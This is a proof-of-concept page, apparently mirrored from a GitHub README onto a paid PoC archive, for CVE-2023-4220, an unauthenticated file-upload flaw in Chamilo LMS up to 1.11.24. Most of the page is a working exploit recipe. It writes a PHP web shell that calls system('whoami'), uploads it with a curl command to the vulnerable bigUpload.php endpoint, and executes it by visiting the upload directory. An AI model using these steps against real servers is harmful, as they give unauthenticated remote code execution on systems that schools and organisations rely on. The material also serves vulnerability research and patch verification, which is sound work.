Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2023-4220 PoC — Chamilo LMS Unauthenticated Big Upload File Remote Code Execution

Source
Associated Vulnerability
Title: Chamilo LMS Unauthenticated Big Upload File Remote Code Execution (CVE-2023-4220)
Description:Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
Description
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
Readme
# Chamilo-LMS-Unauthenticated-File-Upload-
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS &lt;= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.

### Affected Version ≤v1.11.24

### **CVE Identifier** CVE-2023-4220

## **Vulnerability Summary**

The big file upload functionality by `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` allows arbitrary files to be uploaded to `/main/inc/lib/javascript/bigupload/files` directory within the web root.

### **Proof-of-Concept**

- If `/main/inc/lib/javascript/bigupload/files` directory exist we can upload Arbitrary file as;
- Create a malicious php file `echo '<?php system("whoami"); ?>' > dollarboysushil.php`
	![Untitled (1).png](images/Untitled(1).png)

- We can then upload this file by issuing following command
    
    ```
    `$ curl -F 'bigUploadFile=@dollarboysushil.php' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'` 
    ```
    ![Untitled (1).png](images/Untitled(2).png)

- We can check our file is uploaded by visiting the `/main/inc/lib/javascript/bigupload/files` directory
    ![Untitled (1).png](images/Untitled(3).png)
		

- And we can execute it by clicking the php file, which gives the output of `whoami` command
		![Untitled (1).png](images/Untitled(4).png)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →